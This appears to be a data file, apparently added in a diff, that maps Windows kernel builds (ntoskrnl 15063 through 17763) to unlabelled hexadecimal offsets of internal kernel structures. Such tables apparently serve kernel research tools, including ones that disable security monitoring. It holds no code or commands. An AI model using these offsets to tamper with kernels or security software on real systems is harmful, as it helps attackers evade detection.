+ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50,3e3f98,3e3fb8,c8,348bc0 +ntoskrnl_15063-1836.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50,3e3f98,3e3fb8,c8,348bc0 +ntoskrnl_15063-1897.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8,348bc0 +ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8,348bc0 +ntoskrnl_15063-1955.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8,348bc0 +ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8,348bc0 +ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8,348bc0 +ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8,348b80 +ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8,348b80 +ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8,348b80 +ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50,3e3f98,3e3fb8,c8,348be0 +ntoskrnl_15063-2411.exe,385410,385210,385010,6ca,344e68,20,50,3e3f98,3e3fb8,c8,348be0 +ntoskrnl_15063-2500.exe,3853d0,3851d0,384fd0,6ca,344e48,20,50,3e3f98,3e3fb8,c8,348b80 +ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50,3f90d0,3f90f0,c8,35a540 +ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50,3f90d0,3f90f0,c8,35a520 +ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50,3f90d0,3f90f0,c8,35a520 +ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50,3f90d0,3f90f0,c8,35a600 +ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50,3f90d0,3f90f0,c8,35a600 +ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50,3fd0d0,3fd0f0,c8,35f5a0 +ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50,3fe0d0,3fe0f0,c8,35f5a0 +ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8,35f6e0 +ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8,35f6e0 +ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50,3fe0d0,3fe0f0,c8,35f700 +ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8,35f6e0 +ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50,3fd0d0,3fd0f0,c8,35e620 +ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50,3fd0d0,3fd0f0,c8,35e6e0 +ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50,3fd0d0,3fd0f0,c8,35e620 +ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50,3fd0d0,3fd0f0,c8,35e6a0 +ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50,3fb0d0,3fb0f8,c8,35c6c0 +ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8,364720 +ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8,364720 +ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8,364720 +ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8,364720 +ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50,4000d0,4000f8,c8,361600 +ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50,4000d0,4000f8,c8,361600 +ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50,4000d0,4000f8,c8,361720 +ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50,4000d0,4000f8,c8,361720 +ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50,4000d0,4000f8,c8,361620 +ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50,4000d0,4000f8,c8,361620 +ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50,4000d0,4000f8,c8,3616a0 +ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8,361720 +ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8,361720 +ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8,361720 +ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8,361720 +ntoskrnl_16299-936.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8,361720 +ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8,361720 +ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8,361720 +ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8,361740 +ntoskrnl_16299-1059.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8,361740 +ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8,361740 +ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8,361740 +ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50,4000d0,4000f8,c8,3624c0 +ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50,4000d0,4000f8,c8,3624c0 +ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8,3625a0 +ntoskrnl_16299-1237.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8,3625a0 +ntoskrnl_16299-1296.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8,3625a0 +ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8,3625a0 +ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8,3625a0 +ntoskrnl_16299-1387.exe,3a0e80,3a1080,3a0c80,6ca,35e960,20,50,4010d0,4010f8,c8,3625e0 +ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8,3625e0 +ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8,3625e0 +ntoskrnl_16299-1480.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8,3625e0 +ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50,4010d0,4010f8,c8,3625e0 +ntoskrnl_16299-1653.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50,4010d0,4010f8,c8,3625e0 +ntoskrnl_16299-1715.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8,3624e0 +ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8,3624e0 +ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8,3624e0 +ntoskrnl_16299-1776.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8,3624e0 +ntoskrnl_16299-1937.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8,3624e0 +ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8,3624e0 +ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50,4010d0,4010f8,c8,362620 +ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50,4010d0,4010f8,c8,362620 +ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50,45e250,45e270,c8,3b5dc0 +ntoskrnl_17134-48.exe,3f5030,3f4c30,3f4e30,6ca,3b20e8,20,50,45e250,45e270,c8,3b5d20 +ntoskrnl_17134-81.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50,45e250,45e270,c8,3b5de0 +ntoskrnl_17134-83.exe,3f4f30,3f5130,3f4d30,6ca,3b2120,20,50,45e250,45e270,c8,3b5de0 +ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8,3b2d40 +ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8,3b2d40 +ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8,3b2d40 +ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8,3b2d40 +ntoskrnl_17134-191.exe,3f2e30,3f3030,3f2c30,6ca,3b0088,20,50,45c250,45c278,c8,3b3d40 +ntoskrnl_17134-228.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50,44e250,44e278,c8,3a6d20 +ntoskrnl_17134-254.exe,3e5ff0,3e5bf0,3e5df0,6ca,3a3108,20,50,44e250,44e278,c8,3a6d20 +ntoskrnl_17134-285.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50,44e250,44e278,c8,3a6d80 +ntoskrnl_17134-286.exe,3e6030,3e5c30,3e5e30,6ca,3a3100,20,50,44e250,44e278,c8,3a6d80 +ntoskrnl_17134-320.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3120,20,50,44e250,44e278,c8,3a6de0 +ntoskrnl_17134-345.exe,3e5eb0,3e60b0,3e5cb0,6ca,3a3160,20,50,44e250,44e278,c8,3a6d80 +ntoskrnl_17134-376.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8,3a6d20 +ntoskrnl_17134-407.exe,3e5f30,3e5b30,3e5d30,6ca,3a3108,20,50,44e250,44e278,c8,3a6d40 +ntoskrnl_17134-471.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8,3a6d20 +ntoskrnl_17134-472.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8,3a6d20 +ntoskrnl_17134-523.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8,3a6d20 +ntoskrnl_17134-556.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8,3a6d20 +ntoskrnl_17134-590.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8,3a6d20 +ntoskrnl_17134-619.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8,3a6d20 +ntoskrnl_17134-648.exe,3e5fb0,3e5bb0,3e5db0,6ca,3a3108,20,50,44e250,44e278,c8,3a6d20 +ntoskrnl_17134-677.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8,3a5da0 +ntoskrnl_17134-706.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8,3a5da0 +ntoskrnl_17134-753.exe,3e4eb0,3e50b0,3e4cb0,6ca,3a2160,20,50,44d250,44d278,c8,3a5da0 +ntoskrnl_17134-765.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50,44d250,44d278,c8,3a5c00 +ntoskrnl_17134-766.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1f48,20,50,44d250,44d278,c8,3a5c00 +ntoskrnl_17134-799.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8,3a5c20 +ntoskrnl_17134-829.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8,3a5c20 +ntoskrnl_17134-858.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8,3a5c20 +ntoskrnl_17134-885.exe,3e4f30,3e4b30,3e4d30,6ca,3a1f68,20,50,44d250,44d278,c8,3a5c20 +ntoskrnl_17134-915.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50,44d250,44d278,c8,3a5c00 +ntoskrnl_17134-950.exe,3e4d70,3e4f70,3e4b70,6ca,3a1fa8,20,50,44d250,44d278,c8,3a5c00 +ntoskrnl_17134-982.exe,3e4f30,3e4b30,3e4d30,6ca,3a1fd0,20,50,44d250,44d278,c8,3a5c60 +ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50,44d250,44d278,c8,3a5c00 +ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44d250,44d278,c8,3a5ca0 +ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50,44d250,44d278,c8,3a5c40 +ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50,44d250,44d278,c8,3a5c40 +ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8,3a5c40 +ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8,3a5c40 +ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8,3a5c40 +ntoskrnl_17134-1276.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8,3a5c40 +ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50,44d250,44d278,c8,3a5c00 +ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44d250,44d278,c8,3a5c60 +ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8,3a5ce0 +ntoskrnl_17134-1399.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8,3a5ce0 +ntoskrnl_17134-1401.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8,3a5ce0 +ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8,3a5ce0 +ntoskrnl_17134-1456.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8,3a5c60 +ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8,3a5c60 +ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8,3a5c60 +ntoskrnl_17134-1553.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8,3a5c60 +ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8,3a5c60 +ntoskrnl_17134-1667.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50,44c250,44c278,c8,3a5c80 +ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50,44c250,44c278,c8,3a5c80 +ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8,3a5ca0 +ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8,3a5ca0 +ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8,3a5ca0 +ntoskrnl_17134-1967.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8,3a5ca0 +ntoskrnl_17134-2026.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8,3a5ca0 +ntoskrnl_17134-2087.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8,3a5ca0 +ntoskrnl_17134-2145.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50,44c250,44c278,c8,3a5c80 +ntoskrnl_17134-2208.exe,3e4f70,3e4b70,3e4d70,6ca,3a1f88,20,50,44c250,44c278,c8,3a5c80 +ntoskrnl_17763-1.exe,45c4b0,45c0b0,45c2b0,6ca,40f038,20,50,4c52d0,4c52f8,c8,412f20 +ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50,4c52d0,4c52f8,c8,412f60 +ntoskrnl_17763-107.exe,45c430,45c030,45c230,6ca,40f018,20,50,4c52d0,4c52f8,c8,412ea0 +ntoskrnl_17763-134.exe,45c430,45c030,45c230,6ca,40efd8,20,50,4c52d0,4c52f8,c8,412e80 +ntoskrnl_17763-168.exe,4dad70,4da970,4dab70,6ca,40b078,20,50,5442d0,5442f8,c8,40ef40 +ntoskrnl_17763-194.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8,40df20 +ntoskrnl_17763-195.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8,40df20 +ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8,40df20 +ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50,5432d0,5432f8,c8,40ef20 +ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50,5432d0,5432f8,c8,40ef20 +ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50,5432d0,5432f8,c8,40ee80 +ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50,5432d0,5432f8,c8,40eee0 +ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8,40ef60 +ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8,40ef60 +ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8,40ef60 +ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50,5432d0,5432f8,c8,40ef60 +ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8,40ede0 +ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8,40ede0 +ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8,40ede0 +ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8,40ede0 +ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50,5432d0,5432f8,c8,40ee40 +ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50,5432d0,5432f8,c8,40ee40 +ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50,5432d0,5432f8,c8,40ee20 +ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50,5432d0,5432f8,c8,40ee40 +ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50,5432d0,5432f8,c8,40ee40 +ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50,5432d0,5432f8,c8,40ee20 +ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50,5432d0,5432f8,c8,40ee60 +ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50,5432d0,5432f8,c8,40ee80 +ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50,5412d0,5412f8,c8,40ce40 +ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8,40cee0 +ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8,40cee0 +ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8,40cee0 +ntoskrnl_17763-1007.exe,4d8c30,4d8830,4d8a30,6ca,4096a0,20,50,5412d0,5412f8,c8,40ce60 +ntoskrnl_17763-1039.exe,4d8b30,4d8d30,4d8930,6ca,409698,20,50,5412d0,5412f8,c8,40cee0 +ntoskrnl_17763-1075.exe,4d9d30,4d9930,4d9b30,6ca,40a650,20,60,5422d0,5422f8,c8,40de80 +ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8,40dea0 +ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8,40dec0 +ntoskrnl_17763-1132.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8,40dec0 +ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8,40dec0 +ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8,40dea0 +ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8,40dea0 +ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8,40dee0 +ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8,40dee0 +ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8,40dee0 +ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8,40dee0 +ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60,5422d0,5422f8,c8,40de80 +ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60,5402d0,5402f8,c8,40bee0 +ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60,5402d0,5402f8,c8,40bee0 +ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8,409f20 +ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60,53e2d0,53e2f8,c8,409ee0 +ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8,409e60 +ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8,409e60 +ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8,409e60 +ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8,409e60 +ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8,409e60 +ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8,409e60 +ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8,409f20 +ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8,409f20 +ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8,409f20 +ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8,409f20 +ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8,409f20 +ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60,53e2d0,53e2f8,c8,409e80 +ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60,53e2d0,53e2f8,c8,409e80 +ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60,53f2d0,53f2f8,c8,40ac80 +ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60,53f2d0,53f2f8,c8,40ac80 +ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60,53f2d0,53f2f8,c8,40ace0 +ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60,53f2d0,53f2f8,c8,40ace0 +ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60,53f2d0,53f2f8,c8,40ac00 +ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60,53f2d0,53f2f8,c8,40ac00 +ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60,53e2d0,53e2f8,c8,409c60 +ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60,53e2d0,53e2f8,c8,409ca0 +ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60,53e2d0,53e2f8,c8,409ca0 +ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60,53f2d0,53f2f8,c8,40ac40 +ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60,53f2d0,53f2f8,c8,40ac40 +ntoskrnl_17763-2213.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60,53f2d0,53f2f8,c8,40ac80 +ntoskrnl_17763-2237.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60,53f2d0,53f2f8,c8,40ac80 +ntoskrnl_17763-2268.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8,409c80 +ntoskrnl_17763-2300.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8,409c80 +ntoskrnl_17763-2305.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8,409c80 +ntoskrnl_17763-2330.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8,409c80 +ntoskrnl_17763-2366.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8,409c80 +ntoskrnl_17763-2452.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8,40aca0 +ntoskrnl_17763-2458.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8,40aca0 +ntoskrnl_17763-2510.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8,40aca0 +ntoskrnl_17763-2565.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8,40aca0 +ntoskrnl_17763-2628.exe,4d68f0,4d6af0,4d66f0,6ca,407438,20,60,53f2d0,53f2f8,c8,40ac80 +ntoskrnl_17763-2686.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8,40ac40 +ntoskrnl_17763-2746.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8,40ac40 +ntoskrnl_17763-2803.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8,40ac40 +ntoskrnl_17763-2867.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8,40ac40 +ntoskrnl_17763-2928.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8,40ac40 +ntoskrnl_17763-2931.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8,40ac40 